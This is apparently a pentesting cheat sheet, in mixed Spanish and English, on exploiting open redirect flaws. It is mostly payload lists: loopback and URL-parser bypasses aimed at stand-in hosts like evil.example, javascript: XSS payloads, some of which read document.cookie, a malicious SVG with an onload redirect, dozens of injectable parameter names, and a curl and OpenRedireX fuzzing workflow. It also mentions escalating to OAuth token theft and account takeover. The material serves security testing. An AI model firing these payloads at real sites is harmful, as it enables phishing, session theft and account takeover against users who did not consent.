Open Redirect

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Open redirect

Redirect to localhost or arbitrary domains

• If the app “allows only internal/whitelisted hosts”, prueba notaciones alternativas de host para alcanzar loopback o rangos internos a través del redirect target:
• IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
• IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
• Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
• Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Estos son útiles cuando solo se permiten “subdomains of X” pero la resolución del host aún apunta a 127.0.0.1.
• Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
• //attacker.tld → interpretado como relativo al esquema y navega fuera del sitio con el esquema actual.
• Userinfo tricks defeat contains/startswith checks against trusted hosts:
• https://trusted.tld@attacker.tld/ → el navegador navega a attacker.tld pero las comprobaciones de cadena simples “ven” trusted.tld.
• Backslash parsing confusion between frameworks/browsers:
• https://trusted.tld@attacker.tld → algunos backends tratan “\” como un carácter de ruta y pasan la validación; browsers normalizan a “/” e interpretan trusted.tld como userinfo, enviando usuarios a attacker.tld. Esto también aparece en desajustes del URL-parser de Node/PHP.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

# Scheme-relative (current scheme is reused)
//evil.example

# Credentials (userinfo) trick
https://trusted.example@evil.example/

# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/

# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example

# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example

# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example

Open Redirect subir archivos svg

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Parámetros comunes de injection

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Ejemplos de código

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (práctico)

• Comprobación de una sola URL con curl:

curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"

• Descubrir y fuzz parámetros probables a escala:

# 1) Gather historical URLs, keep those with common redirect params
cat domains.txt \
| gau --o urls.txt            # or: waybackurls / katana / hakrawler

# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt

# 3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4) Manually verify interesting hits
awk '/30[1237]|Location:/I' results.txt

• No olvides los sinks client-side en SPAs: busca window.location/assign/replace y helpers del framework que leen query/hash y redirigen.

• Los frameworks a menudo introducen footguns cuando los destinos de redirección se derivan de input no confiable (query params, Referer, cookies). Revisa las notas de Next.js sobre redirects y evita destinos dinámicos derivados del input del usuario.

NextJS

• OAuth/OIDC flows: abusar de open redirectors frecuentemente escala a account takeover por el leak de authorization codes/tokens. Consulta la guía dedicada:

OAuth to Account takeover

• Las respuestas del servidor que implementan redirects sin Location (meta refresh/JavaScript) siguen siendo explotables para phishing y a veces pueden encadenarse. Grep por:

<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Herramientas

• https://github.com/0xNanda/Oralyzer
• OpenRedireX – fuzzer para detectar open redirects. Ejemplo:

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Referencias

• En https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect puedes encontrar fuzzing lists.
• https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
• https://github.com/cujanovic/Open-Redirect-Payloads
• https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
• PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
• OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX